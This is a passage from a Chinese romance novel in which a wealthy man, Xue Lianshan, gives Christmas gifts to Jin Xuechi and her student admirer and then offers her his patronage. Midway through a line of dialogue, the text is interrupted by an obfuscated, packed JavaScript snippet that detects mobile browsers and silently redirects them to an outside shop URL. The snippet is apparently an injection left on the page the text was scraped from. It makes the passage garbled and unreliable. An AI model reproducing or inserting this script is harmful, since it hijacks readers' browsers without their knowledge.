他其实还没搞清楚此人和金雪池之间的关系,但可以看出此人在阅历、财富、社会地位上都远超自己一个学生,同位男性,他本能地就有点敌意。何况他喜欢的女孩子还在这里。倘若薛莲山有意让他下不了台,他都不知道怎么再面对金雪池。 出乎意料的,薛莲山并没有提及自己的任何事情,只是问他多大、在哪里读书,末了,很钦佩地说:“那么,你以后就是李大夫了。我得提前塞你一张名片,现在不抢占先机,日后在仁济都挂不到你的号。” “不敢,不敢。我学期长着呢。” “我听说过,本科就要六年,是不是?想深造还要继续读,正式上岗前还要临床实践。”他握着方向盘,叹道,“感谢你们愿意为高尚的事业付出这么多青春。” 李伯惠涨红了脸,只一个劲儿地说“没有没有”。 开到一家西餐厅,薛莲山接过菜单,往两人中间一摆,俨然一副自己是大人、这两人是小朋友的态度。他也确实是大人。在两人研究菜单的时候,他出去了一趟,回来时拿了两个小盒子。 明天是圣诞节,所以礼物今天就要送到。他把其中一个打开、推到金雪池面前,“很便宜,所以不要再拒绝了。” 里面装着个翡翠镯子,种水确实不高级,但胜在色泽优美,以糯白为底,半边泛绿、半边泛紫。她是第一回收到首饰,精美的、小巧的一个,不显眼,适合日常在学校里戴。他就算没花多少钞票,也花了心思。 李伯惠现在悟出点内容来了,金雪池去摸手镯的时候,也感觉到李伯惠恐怕悟出点内容来了,两人的视线在空中迅速相交,又立刻撇开。她想,他以后再不搭理我了也好。但我被人包养的名声是不是要坐实了?唉,其实本来就是被人包养,可我毕竟还是...... “伯惠,来之前我并没有想到会结识你,故而没有准备。不过我刚才在后备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021038|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱找到了一支笔,不知道是谁送我的,一直没拆封。” 李伯惠一听自己也有份,那点内容按下不提,首先就惶惑了,“我怎么好意思收你的东西?不必了。” “堆在我那里也没用,是个好玩嘛。”他笑着一摆手,“早上我还给侄子侄女寄了东西,现在年轻人就是流行互相送。好了,菜选好了吗?” 这话说完,他陡然比两人高了一个辈分,其实他也就刚刚三十岁。 李伯惠又有点拿不准主意了,何况这位薛先生叫金雪池叫的是“妹妹”,兴许两人不是那种关系......他默默把打了缎带的细长纸盒扒过来,上面印着一串英文:Montblanc。什么牌子?他不认识。接受了薛莲山的好,他更想敌视他;又因为接受了薛莲山的好,他的敌视在自己的道德观里都不成立。 吃完饭,薛莲山先把李伯惠送回复旦,省得他自己一趟趟换乘电车。车内只剩他们两个了,金雪池把镯子对着光看,评价道:“我不觉得能便宜到哪里去。” “收着吧,每次让你收点东西我费多少口舌呀。”他悠悠道,“不合适的礼物我不会送,譬如说,我从不送人戒指。” 她下意识就打了个寒颤,没来得及细想,他又低下头,凑到离她很近的位置说:“这种半绿半紫的翡翠有个专门的名字,‘春带彩’。” “有什么由来吗?” “我也问过我朋友,他是缅甸一座玉矿的老板,你这镯子就是他给我弄的。他说,因为云南和缅甸有许多香椿树,春天的时候,树的嫩芽绿中泛紫红,当地的玉石商家就把这种颜色叫‘椿色’。” 金雪池听他讲遥远的东南亚故事,转动着挂在手腕上沉甸甸的镯子,心神恍惚,觉得和他在一起过的生活和没有他时简直是两种生活。 “快要期末考了吧?” “是的。” “寒假要不要来我家住?” “不了吧。之前是避难,现在像什么话?” “有现成的房间,你不住也是空着。我只是想你手上的钱大概不多了,没必要多花租金和水电费。” “我可以赚一点。”她主动扒着座椅靠背,问,“关于我打寒假工的事,你想好了没有?” 薛莲山噗嗤一声笑出来,“说来说去,还是要从我身上赚。” “我——唉,薛先生,你要是愿意对我好,比起平白地送我东西,我更希望你可以教我做点事。我自己做什么都做不成。也许因为好逸恶劳、三心二意,都是从小养成的毛病,已经在改了。我瞧你什么事情都做得好。” 薛莲山有一会儿没说话,看似思考,实则暗喜。金雪池对他,一直是挤牙膏似的回答问题,甚少主动提要求,这还是第一次;要求也不是随随便便的要求,触及到了她目前最大的困境,是敞开心扉对他说话了。 “我的建议是,什么阶段做什么事。廉价的工种到处都是,读书的年纪一去不回,没有必要。何况你从前是小姐,不擅长在社会上做事完全情有可原,以后工作了、结婚了,依然有太太的生活可以过,干嘛中途自找苦吃?”他微微笑道,“其实你是不想花的我的钱。” 金雪池默默地把镯子撸了下来。 “谁都有青黄不接的时候,我愿意托举你一把。”他慢慢把车停在了路边,左手向后找,试图触碰她搭在右侧椅背上的那只手,“金小姐,人与人之间缘分淡薄,我不想只跟你相识一场,我还想当你的贵人。给我这个机会吧。” 她没有躲,他找了几秒钟的位置,轻轻握住了。